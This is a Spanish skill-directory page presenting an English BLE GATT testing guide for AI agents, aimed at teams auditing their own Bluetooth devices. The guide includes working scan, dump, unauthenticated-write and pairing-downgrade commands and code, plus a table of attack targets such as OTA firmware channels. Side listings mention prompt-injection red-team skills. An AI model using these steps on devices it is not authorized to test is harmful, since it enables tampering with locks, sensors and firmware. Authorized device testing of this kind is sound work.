ble-gatt
Qué hace
Esta guía cubre la revisión de dispositivos Bluetooth Low Energy en busca de servicios y características sin autenticación o cifrado. Va dirigida a equipos de producto y probadores que revisan sus propios dispositivos.
Cuándo usarla
- ✓Cuando un equipo de producto quiere comprobar si sus dispositivos Bluetooth protegen los ajustes sensibles.
- ✓Cuando una prueba autorizada necesita ver qué expone un dispositivo cercano a cualquier dispositivo conectado.
- ✓Cuando un canal de actualización o un servicio de depuración puede estar expuesto por Bluetooth.
Link de la skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“Nuestra cerradura inteligente usa Bluetooth. ¿Puedes comprobar si se pueden leer o cambiar ajustes sensibles sin autenticación?”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente busca dispositivos que anuncian su presencia, se conecta en una prueba autorizada, lista los servicios y características, e informa cuáles necesitan protección.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
BLE GATT Enumeration and Exploitation
BLE devices routinely expose sensitive GATT characteristics without authentication or encryption. Common wins: OTA firmware update channels, PIN entry characteristics, device configuration, and health sensor data — all accessible to any central within radio range.
Prerequisites
- Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE, or the eval board of the target SoC itself).
- Tools:
bluez(>=5.62),gatttool,bluetoothctl,hcitool,python3 -m pip install bleak(cross-platform async BLE library). - Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle
- firmware) or Ubertooth One.
- Mobile: nRF Connect (Android/iOS) — fastest visual GATT browser; LightBlue on iOS.
Phase 1: Passive Discovery
# Identify advertising devices and their advertised UUIDs without connecting.
sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt
# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).
sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid"
Using bleak for a structured scan:
import asyncio
from bleak import BleakScanner
async def scan():
devices = await BleakScanner.discover(timeout=10.0)
for d in devices:
print(f"{d.address} RSSI={d.rssi:4d} {d.name or '<anon>'} {list(d.metadata.get('uuids', []))}")
asyncio.run(scan())
Phase 2: Full GATT Enumeration (unauthenticated)
# Connect and dump all services/characteristics/descriptors.
# gatttool is deprecated but still widely available; use bleak for scripting.
gatttool -b <TARGET_MAC> -I
> connect
> primary # list services by UUID
> characteristics # list handles, properties, UUIDs
> char-desc # dump all descriptors
# Or with hcitool + gatttool one-liner:
gatttool -b <TARGET_MAC> --primary
gatttool -b <TARGET_MAC> --characteristics
Bleak full dump (preferred — handles BLE 5 extended):
import asyncio
from bleak import BleakClient
TARGET = "AA:BB:CC:DD:EE:FF"
async def dump_gatt():
async with BleakClient(TARGET) as client:
for svc in client.services:
print(f"\nService: {svc.uuid} ({svc.description})")
for char in svc.characteristics:
print(f" Char: {char.uuid} props={char.properties} handle=0x{char.handle:04x}")
if "read" in char.properties:
try:
val = await client.read_gatt_char(char.uuid)
print(f" Value: {val.hex()} ({val!r})")
except Exception as e:
print(f" Read error: {e}")
asyncio.run(dump_gatt())
Phase 3: Unauthenticated Write / Command Injection
# Write a raw value to a characteristic handle (gatttool).
# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.
gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100
# Write to a writable characteristic by UUID (bleak):
async def write_char(client, uuid, payload: bytes):
# Try write-with-response first; fall back to write-without-response.
props = client.services.get_characteristic(uuid).properties
if "write" in props:
await client.write_gatt_char(uuid, payload, response=True)
elif "write-without-response" in props:
await client.write_gatt_char(uuid, payload, response=False)
print(f"Wrote {payload.hex()} to {uuid}")
Common attack targets by characteristic UUID:
| UUID (16-bit) | Description | Attack |
|---|---|---|
| 0x2A19 | Battery Level | Read, establish baseline |
| 0x2A24 | Model Number | Info disclosure |
| 0x2A9D | Weight Scale | Sensor data w/o auth |
| Vendor 0xFF01-0xFF0F | OTA / DFU channel | Write firmware image |
| Vendor 0xFFF1 | Generic config | Write arbitrary config |
Phase 4: Pairing Downgrade — Just Works
Just Works pairing provides no MITM protection. Force it when the device advertises IO capabilities that allow stronger pairing (Passkey, OOB) but accepts a downgrade.
# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.
bluetoothctl
agent NoInputNoOutput
default-agent
scan on
pair <TARGET_MAC> # pairing will complete with no key confirmation
trust <TARGET_MAC>
connect <TARGET_MAC>
After pairing, re-run GATT dump — some characteristics become readable only after bonding even when using Just Works.
Preguntas frecuentes
¿Qué es GATT?
Es la estructura que usan los dispositivos Bluetooth Low Energy para organizar sus datos y ajustes.
¿Qué es la degradación del emparejamiento?
Es cuando un dispositivo se obliga a usar un método de emparejamiento más débil, algo que la guía señala como riesgo.
¿Cómo deben solucionarlo los productos?
Exigiendo autenticación y cifrado para las características sensibles.
Detalles
Descripción original del autor
GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.
Popularidad
- Estrellas en GitHub
- 6,5 mil
- Posición en el ranking
- #14095
- Licencia
- Apache-2.0
- Actualizada
- 1/11/2026
Comentarios
- …
Más skills de este repositorio
detector-overview
6,5 milAyuda a tu agente a leer el código que marcó un escáner y decidir qué puntos señalados son fallos de seguridad reales y cuáles son falsas alarmas.
exploiter-overview
6,5 milAyuda a tu agente a unir varias debilidades de seguridad confirmadas en una sola cadena de pruebas y comprobar hasta dónde podría llegar esa cadena.
llm-redteam-overview
6,5 milAyuda a tu agente a encontrar la guía adecuada de red team de IA para una prueba, con 15 grupos de tácticas que van desde la inyección de prompts hasta el abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica la inyección de prompts, en la que instrucciones ocultas intentan anular un sistema de IA, para que los probadores de seguridad puedan comprobarla.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.